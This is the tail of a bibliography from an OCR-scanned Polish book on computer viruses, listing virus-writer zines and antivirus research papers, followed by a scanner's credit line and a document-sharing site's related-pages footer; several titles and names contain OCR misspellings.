18. VBB: Viruses Bits & Bytes (issues 1-2).
19. Immortal Riot: Insane Reality (issues 4-6).
20. NuKe: NuKe IntoJournal (issues 4-3).
21. Dark Angel VirGuide (issues L-?).
22. Raif Brown Interrupt list 51,
23. (C) (P) Potemkins Hackers Group Opcodes.lst (revision 1.27), Moscow.
24. Marl A. Ludwig The Little Black Book about Computer Viruses, volume 1 -The basic
tcchuology, American Eagle Publications Inc. 1991.
25. Vessolin Bontchev Future Trends in Virus-Writing Virus Test Center, Uni-versity of
Hamburg, Germany 1994.
26. Vesselin Bontchev Possible Virus Attacks Against Integrity Programs and How io
Prevent them. Virus Test Center, Univercity of Hamburg Germany 1992.
27. Vosselin Bontchev The Bulgarian and Soviet Virus Pactories Bulgarian Aca-demy of
Sciences, Sofia, Bułgaria.
28. Vesselm Bontchev lnVircible Test from Virus Test Center University of Hamburg.
29. Inside the Mind of Dark Ąveriger Personal Computer World, July 1993.
30. Julian Bibbell Viruses are Good For You USA: WIRED Ventui-es Ltd. 1995.
31. Sara Gordon Faces Behind the Masks November, England 1994.
32. Tarkan Yetiser Połymorphic Viruses - Implementation, Detection, and Protec-tion
USA, Baltimore, VDS Advanced Research Group 1993.
33. Gary M. Watson A Discussion of Polymorphism Data Plus 1992.
34. Dmitry O. Gryaznov Scanners of the Year 2000 Senior Virus Research Analyst.
35. Epidemiology and Computer Viruses Alan, Solomon 1990.
36. Viriology 101.
37. Anthony Naggs CAROBASE Format Reference revised edition 1993.
38.

Donn Seeley A Tour of the Worm Department of Computer Science, University

of

Utah.

--------------- info ------------------

orginal book "Wirusy" by Adam Blaszczyk

scanned and ocr'ed by misha [cp'99]

misha@vc.pl. 1999.06.08

background image

---------------------------------------


Wyszukiwarka

Podobne podstrony:
Adam Blaszczyk Wirusy doc
Adam Blaszczyk Wirusy 2
Adam Blaszczyk Wirusy
Wirusy Adam Blaszczyk
Adam Blaszczyk Wirusy
Adam Błaszczak Opis Ćwiczeń 23 12 2013
wirusy i zagrozenia
nowe wirusy www prezentacje org
statystyka społeczna notatki ze wszystkich wykładów Błaszczak Przybycińska
II Wirusy ogólnie
Wirusy i bakterie, NAUKA
Asnyk A., Polonistyka, 05. Pozytywizm, Asnyk Adam, opracowania
W Polsce sektor odzieżowy tworzą dwa działy, nauka, Adam Stabryła, Zarządzanie strategiczne w teorii
II wirusy wszystkie RNA DNA=HSV, VZV, Adenowirusy
Wirusy i profilaktyka antywirusowa, edukacja i nauka, Informatyka
wirusy powodujące biegunkę ACNE CAR, mnemotechniki medyczne
Wirusy1, Ogrodnictwo UP Lbn, mikrobiologia

więcej podobnych podstron